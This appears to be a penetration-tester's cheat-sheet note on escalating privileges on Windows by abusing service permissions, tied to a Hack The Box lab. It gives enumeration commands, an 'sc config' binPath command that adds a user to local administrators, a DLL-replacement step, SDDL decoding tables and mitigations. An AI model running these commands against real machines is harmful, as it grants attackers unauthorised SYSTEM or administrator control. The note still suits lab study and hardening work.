đź§ Windows - Service Permission Abuse
What is it?
- Concept: A Windows service that runs as a privileged account (usually LocalSystem) can be turned into privilege escalation if you can influence what it executes — by modifying its binary/DLL, reconfiguring its
binPath, or restarting it. The decisive question is which of those rights your identity actually holds. - Impact: Code execution as the service account → SYSTEM.
How it works
- Find privileged services and where their binaries live.
- Work out what you can change — write to the binary/its directory? reconfigure it? start/stop it? The service’s own DACL decides this.
- Pick the technique the rights allow (reconfigure
binPath, replace binary / DLL hijack, or — if you can’t restart it — abuse an already-running privileged service at the app layer, e.g. MySQL - UDF Hijacking).
Exploitation
Prerequisites
- A shell as any user on the box
- A service running as LocalSystem/privileged that you can modify or restart
Attack Vectors
1. Find privileged services + their binaries
sc qc <svc> # SERVICE_START_NAME (LocalSystem?), BINARY_PATH_NAME
Get-CimInstance win32_service | ? {$_.StartName -eq 'LocalSystem'} | select Name,PathName2. Can I write to the binary or its directory?
icacls "C:\path\to\service\dir" # look for (M)/(F), and (OI)(CI) inheritance3. What rights do I have ON THE SERVICE itself (start/stop/reconfigure)?
sc sdshow <svc> # dumps the service DACL as SDDL (decode below)
accesschk.exe -uwcqv <user> <svc> # friendlier equivalent (Sysinternals)4a. Reconfigure binPath (needs DC + start/stop)
sc config <svc> binpath= "C:\Windows\System32\cmd.exe /c net localgroup administrators <user> /add"
sc stop <svc> & sc start <svc>4b. Binary replace / DLL hijack (needs write to binary/dir + ability to restart)
copy evil.dll "C:\service\dir\<name-on-search-path>.dll"
sc stop <svc> & sc start <svc>Reading sc sdshow (SDDL)
ACEs look like (A;;RPWPCR;;;SY) = Allow the rights RPWPCR to SID SY. Check whether your identity has RP/WP (start/stop) and DC (reconfigure).
Common SID abbreviations
| SID | Identity |
|---|---|
SY | Local System |
BA | Built-in Administrators |
IU | Interactive Users (anyone logged on at the desktop) |
SU | Service logon users |
AU | Authenticated Users |
BU | Built-in Users |
WD | Everyone |
Service-specific access codes
| Code | Right |
|---|---|
CC | Query the service’s configuration |
DC | Change the service’s configuration |
LC | Query the service’s status |
SW | List dependent services |
RP | Start the service |
WP | Stop the service |
DT | Pause / continue |
LO | Interrogate (report status now) |
CR | Send a user-defined control |
SD | Delete the service |
RC | Read the security descriptor |
WD | Change permissions (write DACL) |
WO | Take ownership |
Notes
- If you can’t start/stop the service (e.g. you’re only
IUwith noRP/WP), DLL-hijack and binary-replace are dead until a reboot — don’t force it. Pivot to an already-running privileged service you can drive at the app layer instead, such as a MySQL service running as LocalSystem (MySQL - UDF Hijacking). This was the Touch path. - Automate the triage with PowerUp (
Invoke-AllChecks), WinPEAS, or accesschk — but confirm by hand withsc qc/sc sdshow/icacls. - Also watch for unquoted service paths and writable auto-start binaries as adjacent variants of the same class.
Mitigation
- Fix: Run services as least-privilege accounts; tighten directory/binary ACLs; never grant non-admins
SERVICE_CHANGE_CONFIG/START/STOP; quote all service paths.
Related Usage
| File | Created |
|---|---|
| HTB Machine - Touch | October 07, 2026 |
References: